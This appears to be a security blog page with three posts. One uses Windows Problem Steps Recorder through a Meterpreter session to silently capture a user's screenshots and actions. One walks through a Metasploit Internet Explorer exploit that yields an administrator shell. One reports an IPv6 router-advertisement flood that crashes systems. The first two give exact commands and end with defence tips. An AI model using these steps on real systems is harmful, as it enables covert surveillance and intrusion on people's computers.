Using Problem Steps Recorder (PSR) Remotely with Metasploit

Windows includes a built in program that captures screenshots and text descriptions of what a user is doing on their system. This program could be accessed remotely by a hacker. In this article we will see how to run the program from a remote shell using Metasploit.

Introduction

Windows includes a great support program that you have probably never heard of called “Problem Steps Recorder” (psr.exe). Microsoft made this program to help troubleshooters see step-by-step what a user is doing. If a user is having a computer problem that they either can’t articulate well or tech support just can’t visualize the issue, all the support personnel needs to do is have the user run psr.exe.

When PSR runs it automatically begins capturing screen captures of everything that the user clicks on, it also keeps a running dialog of what the user is doing in a text log. When done, the data is saved into an HTML format and zipped so all the user needs to do is e-mail this to the tech support department.

I have honestly never heard of PSR before yesterday when Mark Burnett (@m8urnett) mentioned it on Twitter:

PSR Metasploit 1

Creepy indeed, but I thought that if you could run it remotely, it would be a great tool for a penetration tester. Well, you can! Though running PSR as an attack tool isn’t a new idea. I did some searching and it is mentioned multiple times over the last several years in this manner. Pipefish even mentions using it with Metasploit back in this 2012 article (http://pipefish.me/tag/psr-exe/).

To use Steps Recorder normally, all you need to do is click the start button in Windows and type “psr” into the search box. Then click on “Steps Recorder”.

A small user interface opens up:

PSR Metasploit 2

Just click “Start Record” to start. It then immediately begins grabbing screenshots. It displays a red globe around the pointer whenever a screenshot is taken. Then press “Stop Recording” when done. You will then be presented with a very impressive looking report of everything that you did. You then have the option of saving the report.

PSR can be run from the command prompt. Below is a listing of command switches from Microsoft :

psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.

Using PSR remotely with Metasploit

Using the command line options, PSR works very nicely with Metasploit in a penetration testing scenario. I will start with an active remote Meterpreter session between a test Windows 7 system and Kali Linux. There are many ways that you could do this, but I simply made a short text file as seen below:

  • psr.exe /start /gui 0 /output C:\Users\Dan\Desktop\cool.zip;
  • Start-Sleep -s 20;
  • psr.exe /stop;

The commands above start PSR, turns off that pesky Gui window that pops up when running and turns off the red pointer glow when recording pages. It then saves the file to the desktop.

The script waits 20 seconds and then stops recording.

I then encoded the command and ran it in a command shell:

PSR Metasploit 3
After 20 seconds a new “cool.zip” file popped up on the Windows 7 desktop:

PSR Metasploit 4
This file contained a complete step by step list of everything the user did during the 20 second window. At the top of the file are the screenshots:

PSR Metasploit 5
And at the bottom was the step by step text log:

PSR Metasploit 6
I actually like using PSR now better than Metasploit’s built in screenshot capability, especially with the blow by blow text log that is included. The script also worked well against Windows 10 with some minor tweaks.

Defending against this attack

Problem Steps Recorder can be disabled in group policy. Though I did not see anywhere on how to completely uninstall PSR.

The best defense is to block the remote connection from being created, so standard security practices apply. Keep your operating systems and AV up to date. Don’t open unsolicited, unexpected or questionable e-mail attachments. Avoid questionable links, be leery of shortened URLs and always surf safely.

If you want to learn more about computer security testing using Metasploit and Kali Linux, check out my latest book, “Intermediate Computer Security Testing with Kali Linux 2”.

Latest Internet Explorer Zero-Day Exploit Walkthrough using Metasploit

IE Zero Day 2

The end of the year saw several zero day exploits being released. One for RealPlayer version 15 and under, one for Nvidia Video Cards, and what we will focus on today, a remote exploit for Internet Explorer Version 6-8. The Internet Explorer Zero-Day exploit that was publicly acknowledged on December 29th, affects Windows XP SP3, Vista, Windows 7 and Server 2003 and 2008. Systems running IE 9 and 10 are not affected.

The exploit code has been publicly released and has already been added to Metasploit. We will demonstrate the exploit using Backtrack 5r3 and a Windows XP sp3 system.

So let’s get started.

  • Boot up your Backtrack 5 system and run the msfupdate command to make sure you get the latest exploits.

(Had a heck of a time with running the updates lately. Most recently it seemed to hang on updating an outlook.rb file. I got by it earlier by deleting the file and re-running the update. But for this example we won’t be needing it, so you can just hit (p) for postpone if it hangs on updating it.)

  • Next start the msfconsole.
  • Now you can search for the internet explorer exploit by typing “search internet explorer” or by just typing it in as below.

At the msf> prompt type:

  • use exploit/windows/browser/ie_cbutton_uaf

Then type “show options” to see what options can be set:

IE Zero Day 2

Okay, we will need to set the SRVHOST option to point to our Backtrack system. And we can change the URIPATH to something else other than random if we want. But first, let’s set the target as it defaults to Windows 7, and our target in this example is a Windows XP system:

IE Zero Day 1

Next, set the IP address of your Backtrack system:

  • set SRVHOST 192.168.0.120

And finally run the exploit:

  • exploit

IE Zero Day 4-1

Okay, at this point Metasploit starts up the Apache web server,creates the exploit and creates a random page to host it on. Now all we need is to surf to the URL given to us by Backtrack 5 using Internet Explorer on the Windows XP system:

IE Zero Day 3

That is it!

As soon as the user surfs to our Backtrack page, the exploit is run and a remote session is created:

IE Zero Day 4-2

(Note: There were no real warnings or alerts on the Windows XP side. It just seemed that the webpage didn’t do anything.)

We can type “sessions -l” to list all the remote shell sessions that Backtrack has created.

IE Zero Day 5

As you can see our Windows XP session is listed. Now if we simply connect to the session interactively (sessions -i 1), and run “getuid” we see that we have an administrator level shell:

IE Zero Day 6

And simply running “shell” drops us into the full remote shell:

IE Zero Day 7

So how do we stop this attack? If you are running older versions of Internet Explorer, UPDATE NOW! This attack does not work against the latest version of IE. Microsoft was supposed to release a patch for older IE versions today, to stop this attack, but they didn’t do it.

And with the fix really being to simply upgrade to the newest version, they probably won’t any time soon.

The fix is also the same with the RealPlayer and Nvidia Zero-days that I mentioned earlier. Simply download the latest updates of the software to protect against the exploits.

New “Flood_Router26” IPv6 attack takes down Mac OS X and Server 2012

Sam Bowne, Ethical Hacking instructor at City College San Francisco has released a crazy video showing two of the latest IPv6 Router Advertisement attacks from the THC-IPv6 attack toolkit. And from what it looks like, these attacks work against both Mac and Microsoft systems.

In the second part of the video, the “Flood_Router26” RA attack first takes down a Mac OS X’s network interface and then throws the Mac into a spinning “Circle of Death”. A Windows XP system hooked to the network went to 100% resource usage and when the 2012 Server is checked, it actually rebooted!

More information about this attack, screenshots, packet captures and instructions can be found here.

WARNING! Do not attempt this on a live network!

Crazy! Hopefully Apple and Microsoft addresses this issue quick!